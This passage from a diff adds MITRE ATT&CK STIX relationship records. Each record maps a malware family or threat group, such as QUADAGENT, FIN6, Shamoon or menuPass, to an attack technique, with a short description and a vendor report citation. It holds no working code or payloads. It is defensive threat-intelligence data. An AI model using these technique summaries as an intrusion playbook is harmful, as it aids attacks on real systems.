"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0d33a40-a0d1-49fe-bea1-d0e4f000f628", + "external_references": [ + { + "source_name": "Softpedia MinerC", + "description": "Cimpanu, C.. (2016, September 9). Cryptocurrency Mining Malware Discovered Targeting Seagate NAS Hard Drives. Retrieved October 12, 2016.", + "url": "http://news.softpedia.com/news/cryptocurrency-mining-malware-discovered-targeting-seagate-nas-hard-drives-508119.shtml" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17dec760-9c8f-4f1b-9b4b-0ac47a453234", + "relationship_type": "uses", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) modifies an HKCU Registry key to store a session identifier unique to the compromised system as well as a pre-shared key used for encrypting and decrypting C2 communications.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0999d7e-deec-446b-a86b-4c8988e20a96", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Matroyshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + }, + { + "source_name": "CopyKittens Nov 2015", + "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.", + "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458", + "relationship_type": "uses", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) encrypts strings in the backdoor using a custom XOR algorithm.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43908728-be5a-4bdf-a13e-8d373c1fc4fd", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.712Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[HDoor](https://attack.mitre.org/software/S0061) scans to identify open ports on the victim.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--db283fff-4b13-4c79-85f0-5cdb6b76e964", + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "modified": "2019-04-25T02:33:53.494Z", + "source_ref": "malware--007b44b6-e4c5-480b-b5b9-56f2081b1b7b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can adjust token privileges.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d68ff9e8-0766-49ea-8ddc-4308347c5bac", + "external_references": [ + { + "source_name": "Symantec Hydraq Jan 2010", + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "relationship_type": "uses", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses netstat -ano to search for specific IP address ranges.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3018ef54-d98c-4958-bc31-dc6b45b67a05", + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "modified": "2019-05-03T16:54:33.050Z", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "relationship_type": "uses", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) checks for debugging tools.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4eb00375-3ee3-43c7-845a-2206e1eff114", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-26T22:56:58.221Z", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "relationship_type": "uses", + "target_ref": "attack-pattern--241814ae-de3f-4656-b49e-f9a80764d4b7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can gather the disk volume information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d0e4c9af-070a-43bd-82e6-c047f7ebf491", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to delete files from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83185e47-895c-4c40-8043-fbf279006873", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the readFiles function to return a detailed listing (sometimes recursive) of a specified directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--63a7bbf6-bb2e-41e7-8893-c3f7f207a7a7", + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "modified": "2019-07-26T23:07:21.009Z", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A [Winnti](https://attack.mitre.org/software/S0141) implant file was named ASPNET_FILTER.DLL, mimicking the legitimate ASP.NET ISAPI filter DLL with the same name.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7b5511a-3528-48d1-9224-6c5ff88b3825", + "external_references": [ + { + "source_name": "Microsoft Winnti Jan 2017", + "description": "Cap, P., et al. (2017, January 25). Detecting threat actors in recent German industrial attacks with Windows Defender ATP. Retrieved February 8, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2017/01/25/detecting-threat-actors-in-recent-german-industrial-attacks-with-windows-defender-atp/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d3afa961-a80c-4043-9509-282cdf69ab21", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ifconfig](https://attack.mitre.org/software/S0101) can be used to display adapter configuration on Unix systems, including information for TCP/IP, DNS, and DHCP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--01e01c24-ba4c-41d7-8f30-8fca364dc2c6", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "tool--362dc67f-4e85-4562-9dac-1b6b7f3ec4b5", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used a script (atexec.py) to execute a command on a target machine via Task Scheduler.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a901eaf4-7cbe-43c2-9c03-7d716357edc9", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "modified": "2019-06-28T15:24:31.987Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[CrossRAT](https://attack.mitre.org/software/S0235) uses run keys for persistence on Windows", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8023d964-9013-4f3d-962e-569b799a2991", + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--a5e91d50-24fa-44ec-9894-39a88f658cea", + "relationship_type": "uses", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) actors have been known to copy files to the network shares of other computers to move laterally.", + "type": "relationship", + "created": "2017-05-31T21:33:27.034Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--42d2f816-9db2-47bf-9481-3065d038725d", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.430Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[PLATINUM](https://attack.mitre.org/groups/G0068) has used keyloggers that are also capable of dumping credentials.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a14c4d34-5a27-419a-b665-e1207ba55ca7", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2019-05-10T12:14:32.121Z", + "source_ref": "intrusion-set--f9c06633-dcff-48a1-8588-759e7cec5694", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) leverages valid accounts after gaining credentials for use within the victim domain.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8ac07a3f-9468-47a3-8ecc-c432f80e03f4", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.378Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.488Z", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2e45dc12-f493-42ea-829e-011ba786bef1", + "external_references": [ + { + "source_name": "SecureWorks BRONZE UNION June 2017", + "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:37:35.511Z", + "type": "relationship", + "id": "relationship--e59e9443-740a-4e2b-a775-8ae59ceb3844", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) is capable of setting and deleting Registry values.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a71256aa-a2e3-447c-ba4e-004ba4f062b2", + "external_references": [ + { + "source_name": "Bitdefender APT28 Dec 2015", + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "relationship_type": "uses", + "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T18:44:28.639Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9820c1e9-a414-4af1-a78c-aaf2cb164361", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "relationship_type": "uses", + "target_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:00:23.895Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.032Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--49957d89-7449-476a-b542-d7811a86c230", + "external_references": [ + { + "source_name": "Cylance Cleaver", + "description": "Cylance. (2014, December). Operation Cleaver. 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Retrieved February 15, 2018.", + "url": "https://www.csmonitor.com/USA/2012/0914/Stealing-US-business-secrets-Experts-ID-two-huge-cyber-gangs-in-China" + } + ], + "modified": "2019-03-22T20:15:19.409Z", + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "attack-pattern--20138b9d-1aac-4a26-8654-a36b6bbf2bba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If [Shamoon](https://attack.mitre.org/software/S0140) cannot access shares using current privileges, it attempts access using hard coded, domain-specific credentials gathered earlier in the intrusion.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5e6e745f-d756-4b6e-90e1-3adcf848570b", + "external_references": [ + { + "source_name": "FireEye Shamoon Nov 2016", + "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html" + } + ], + "modified": "2019-04-24T23:59:16.156Z", + "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Psylo](https://attack.mitre.org/software/S0078) has a command to download a file to the system from its C2 server.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a1e74408-5c7b-4538-afd9-a01b23a92429", + "external_references": [ + { + "source_name": "Scarlet Mimic Jan 2016", + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used a Metasploit PowerShell module to download and execute shellcode and to set up a local listener.", + "type": "relationship", + "created": "2017-05-31T21:33:27.071Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--97ea3b82-58ba-4a3e-8e6d-367755f83fa6", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). 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Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.635Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-25T17:15:58.166Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.053Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e38e741c-a7ef-420a-911a-1d2cf6abf49d", + "external_references": [ + { + "source_name": "FireEye admin@338", + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.", + "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" + } + ], + "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756", + "relationship_type": "uses", + "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Carbanak](https://attack.mitre.org/software/S0030) encrypts strings to make analysis more difficult.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7c3f8d37-e2da-45c3-8ef2-a067cd46d340", + "external_references": [ + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. 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Retrieved February 19, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/musical-chairs-playing-tetris/" + } + ], + "modified": "2019-04-16T20:26:40.871Z", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "relationship_type": "uses", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[DarkHydrus](https://attack.mitre.org/groups/G0079) has sent malware that required users to hit the enable button in Microsoft Excel to allow an .iqy file to be downloaded.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2b91534d-4687-457b-bcb0-96be9357fa6d", + "external_references": [ + { + "source_name": "Unit 42 DarkHydrus July 2018", + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-04-22T19:23:13.498Z", + "source_ref": "intrusion-set--6b9ebeb5-20bf-48b0-afb7-988d769a2f01", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The [Komplex](https://attack.mitre.org/software/S0162) trojan supports file deletion.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b31b258-d3e0-4acc-9c20-de870baa64a0", + "external_references": [ + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--f108215f-3487-489d-be8b-80e346d32518", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) creates a scheduled task to ensure it is re-executed everyday.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--60349cdb-6f9a-4962-92aa-105eea1d112a", + "external_references": [ + { + "source_name": "Talos GravityRAT", + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "modified": "2019-04-24T23:21:59.172Z", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": 